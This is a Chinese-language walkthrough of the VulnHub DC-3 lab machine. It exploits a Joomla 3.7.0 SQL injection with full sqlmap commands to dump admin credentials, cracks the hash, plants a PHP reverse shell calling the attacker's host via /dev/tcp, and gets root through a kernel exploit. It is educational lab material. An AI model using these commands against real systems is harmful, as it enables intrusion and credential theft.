环境搭建
环境搭建参考我的DC-1靶机搭建的方法,靶机的下载同样也在VulnHub中能找到。
安装与环境的配置同样跟DC-1完全一样,只需要修改网络连接方式为NAT,使其与你的攻击机处于同一局域网内即可。
但是在打开DC-3靶机的时候我发现一个问题
这个要怎么办呢!
后来我发现要修改虚拟机设置这里的CD/DVD的高级设置
因为他提示我们IDE1上已经有一个设备了,修改完我们就可以正常启动靶机了。
出现这个就成功了!
成功打开我们的DC-3靶机和kali攻击机,渗透正式开始!
信息收集
同样是我们渗透的经典几步曲,首先还是扫描同网段下的主机。
用 arp-scan 或者是 nmap
很显然我的靶机IP地址是192.168.100.148,第一步完成!
接着我们需要去探测其开放的端口。
nmap -p- 192.168.100.148 -sV
这里我们发现这个靶机只开放了80端口,由Apache搭建的http服务
接着我们可以去访问其网页,看看有没有什么可用信息。
漏洞发现
访问以后看见了这样一个界面,上面有登录框
下面这段英文给我们说,这里只有一个提示,获取系统的root权限从而拿到flag。
这次的DC-3靶机不同之前的两个,之前的两个靶机都有ssh远程连接的端口,而这个只有开放了一个网页服务,所以入口自然而然考虑是web漏洞,给了登录框的话考虑sql注入或者弱口令。
当然以上还只是我的猜测,接下来我们去探索一下!
①目录扫描
我们先对网站进行一个目录扫描,看看有没有有用的信息。
这里我们使用dirsearch工具
尝试访问一下
这里有一个后台登录的网页
这里有个robots,不过也没用在这
我访问了几个,发现也没啥用处,同学们可以自己尝试,这里就不一一列举。这条路行不通那只能换个方向。
②网站指纹识别
这里我用Wappalyzer对他做了指纹识别,发现这个网站是用Joomla这个框架搭建的,这时候我们就要从这个框架身上下手,去寻找框架的漏洞。
③漏洞发现
这里我们需要用到一个Joomla框架的扫描工具——joomscan
这个工具可以在通过kali上通过命令安装,也可以在GitHub上下载
apt-get install joomscan
用法:
这里通过扫描我们知道了这个网站使用框架的版本号,我们可以去找相对应的漏洞了。
这里我们可以利用一个漏洞检索工具searchsploit他可以帮我们检索漏洞库
这里有一个3.7.0版本对应的sql注入,跟我们最开始猜测的一致,存在sql注入。
这里我们去查看一下这个漏洞的说明
这里给我们罗列了很多信息,比如漏洞的序列号,利用方法,exp等等。
他说这里存在逻辑注入,报错注入和延时注入3个,我们可以自己利用sqlmap去跑一下
④漏洞利用
暴库:sqlmap -u "http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
跑出来5个数据库。
这里我想看joomladb这个库的表有哪些
爆表:sqlmap -u "http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
非常多,我们可以挑有用的数据看,这里我对#__users 这个表感兴趣
爆列名: sqlmap -u "http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
看到我们最喜欢的两个password和username
爆字段:sqlmap -u "http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' -p list[fullordering] --dump --batch
成功搞到用户名和密码
因为得到的密码是md5加密过后的,所以我们需要使用kali上的一个工具john来爆破一下
获得密码snoopy
登录刚刚的administrator的后台
逛了一下后台,我们发现在这,能新建文件并且执行php,那我们考虑可以反弹shell
⑤反弹shell
由于可以创建并且执行php文件,我就考虑使用nc反弹一个shell给我的kali
创建一个nc.php
这里的IP写自己kali的,端口任意,不重复即可。
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.100.146/8888 0>&1'");
然后kali打开端口监听
路径在
此时kali上已经收到反弹的shell了
不过权限非常低,必须得提权。
⑥提权
常规考虑sudo和suid提权
先去find一下
找到这些个命令
sudo -l 没有什么发现,那么就去找suid看看有没有哪些我们可以用的
看一圈发现也没可用的,那只能考虑系统漏洞提权了!
先查看一下系统版本
查看内核版本:uname -a
查看系统发行版本:cat /etc/*-release
系统是Ubuntu 16.04 LTS ,内核是Linux 4.4.0-21
现在我们可以利用kali的漏洞库去找相关的漏洞,依旧是searchsploit
找到相对应的内核版本
我们选择这个,看到(Privilege Escalation)权限提升,并且内核号是4.4.x
找到路径去查看一下
写了相关的操作及使用方法,下面给了exp的下载链接
下载到kali以后,我们把这个exp传到dc3靶机上面,我们先移动压缩包到我们的/var/www/html目录下面,然后打开我们的http服务
用靶机去下载exp
解压压缩包
接着跟着之前的说明按照步骤走,用法在下面了
进入文件夹,执行两个脚本
执行完发现我们已经是root啦!
夺旗
搞定!
总结
这个DC-3的靶机主要是利用Joomla这个框架存在的sql注入漏洞拿到后台管理员的账户和密码,在后台管理的页面又发现一个可以执行php,我们就利用了反弹shell,但是在提权这里我们遇到一点问题,不是之前的suid或者sudo提权了,这里需要系统漏洞提权。